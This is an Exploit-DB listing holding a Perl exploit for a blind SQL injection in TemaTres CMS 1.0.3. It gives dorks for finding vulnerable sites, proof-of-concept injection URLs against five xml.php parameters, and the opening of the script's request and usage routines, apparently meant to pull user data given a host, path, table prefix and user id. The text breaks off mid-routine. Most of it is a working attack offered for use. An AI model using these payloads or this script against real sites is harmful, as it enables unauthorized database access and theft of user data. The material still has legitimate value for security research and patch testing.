Exploit-DB #8616
Description: TemaTres 1.0.3 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-05-05
Author: YEnH4ckEr

Exploit:
#!/usr/bin/perl
#***********************************************************************************************
#***********************************************************************************************
#**	       										      **
#**  											      **
#**     [] [] []  [][][][>  []     []  [][  ][]     []   [][]]  []  [>  [][][][>  [][][][]    **
#**     || || ||  []        [][]   []   []  []     []   []      [] []   []	  []    []    **
#   [>  [][][][]  [][][][>  [] []  []   []  []   [][]  []       [][]    [][][][>  []    []    **
#**  [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\ 
#**==[>    []     []        []   [][]   []  [] [][][]  []       [][]    []           [] []  >>--
#**  [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/ 
#   [>   [[[]]]   [][][][>  [][]   [] [][[] [[]]  [][]  [][][]  []  [>  [][][][> <][]   []    
#**							                                      **
#**    											      **
#**                          Â¡VIVA SPAIN!...Â¡GANAREMOS EL MUNDIAL!...o.O                      **
#**					  Â¡PROUD TO BE SPANISH!	                              **
#**											      **
#***********************************************************************************************
#***********************************************************************************************
#
#----------------------------------------------------------------------------------------------
#|     (dcTema,madsTema,zthesTema,skosTema,xtmTema) BLIND SQL INJECTION (BSQLi) EXPLOIT	      |
#|--------------------------------------------------------------------------------------------|
#|                         	    |   TemaTres v1.0.3    |		 	              |
#|  CMS INFORMATION:		     ---------------------				      |
#|										              |
#|-->WEB: http://www.r020.com.ar/tematres/               	   		              |
#|-->DOWNLOAD: http://sourceforge.net/projects/tematres/ 	   		              |
#|-->DEMO: http://www.r020.com.ar/tematres/index.php					      |
#|-->CATEGORY: CMS / Portals								      |
#|-->DESCRIPTION: Web application to manage controlled vocabularies, taxonomies and thesaurus |
#| 		/ AplicaciÃ³n Web para la gestiÃ³n de lenguajes documentales, ... 	      |
#|											      |
#|  CMS VULNERABILITY:									      |
#|											      |
#|-->TESTED ON: firefox 3								      |
#|-->DORKs: "Powered by TemaTres" / "Generado por TemaTres" / "Criado por TemaTres"	      |
#|-->CATEGORY: BLIND SQL INJECTION EXPLOIT						      |
#|-->AFFECT VERSION: LAST = 1.0.3 (maybe <= ?)						      |
#|-->Discovered Bug date: 2009-04-24							      |
#|-->Reported Bug date: 2009-04-24							      |
#|-->Fixed bug date: 2009-05-04								      |
#|-->Info patch (v1.0.31): http://www.r020.com.ar/tematres/tematres1.031.zip	       	      |
#|-->Author: YEnH4ckEr									      |
#|-->mail: y3nh4ck3r[at]gmail[dot]com							      |
#|-->WEB/BLOG: N/A									      |
#|-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.       |
#|-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)		      |
#----------------------------------------------------------------------------------------------
#
#------------
#CONDITIONS:
#------------
#
#**gpc_magic_quotes=off
#
#---------------------------------------
#PROOF OF CONCEPT (BLIND SQL INJECTION):
#---------------------------------------
#
#~~~~~~-----> (get vars --> 'dcTema', 'madsTema', 'zthesTema', 'skosTema', 'xtmTema'):
#
#http://[HOST]/[HOME_PATH]/xml.php?dcTema=1'+AND+1=0/*
#http://[HOST]/[HOME_PATH]/xml.php?dcTema=1'+AND+1=1/*
#
#http://[HOST]/[HOME_PATH]/xml.php?madsTema=2'+and+1=1/*
#http://[HOST]/[HOME_PATH]/xml.php?madsTema=2'+and+1=0/*
#
#http://[HOST]/[HOME_PATH]/xml.php?zthesTema=2'+AND+1=0/*
#http://[HOST]/[HOME_PATH]/xml.php?zthesTema=2'+AND+1=1/*
#
#http://[HOST]/[HOME_PATH]/xml.php?skosTema=2'+AND+1=1/*
#http://[HOST]/[HOME_PATH]/xml.php?skosTema=2'+AND+1=0/*
#
#http://[HOST]/[HOME_PATH]/xml.php?xtmTema=2'+AND+1=0/*
#http://[HOST]/[HOME_PATH]/xml.php?xtmTema=2'+AND+1=1/*
#
#######################################################################
#######################################################################
##*******************************************************************##
## ESPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)!  ##
##*******************************************************************##
##-------------------------------------------------------------------##
##*******************************************************************##
##    GREETZ TO: JosS, Ulises2k and all SPANISH Hack3Rs community!   ##
##*******************************************************************##
#######################################################################
#######################################################################
#
use LWP::UserAgent;
use HTTP::Request;
#Subroutines
sub lw
{
	my $SO = $^O;
	my $linux = "";
	if (index(lc($SO),"win")!=-1){
		$linux="0";
	}else{
		$linux="1";
	}		
	if($linux){
		system("clear");
	}
	else{
		system("cls");
		system ("title TemaTres CMS v1.0.3 (BLIND SQL Injection) Exploit");
		system ("color 04");
	}
}
sub request {
	my $userag = LWP::UserAgent->new;
	$userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
	my $request = HTTP::Request -> new(GET => $_[0]); 
	my $outcode= $userag->request($request)->as_string;
	return $outcode;
}
sub helper {
	print "\n\t[###] TemaTres CMS v1.0.3 - (BLIND SQL Injection) Exploit\n";
	print "\t[###] USAGE MODE: [###]\n";
	print "\t[###] perl $0 [HOST] [PATH] [DBPREFIX] [Id]\n";
	print "\t[###] [HOST]: Web.\n";
	print "\t[###] [PATH]: Home Path.\n";
	print "\t[###] [DBPREFIX]: Database Prefix. Default: lc_ (**optional)\n";
	print "\t[###] [id]: Id user. Default: 1 (**optional)\n";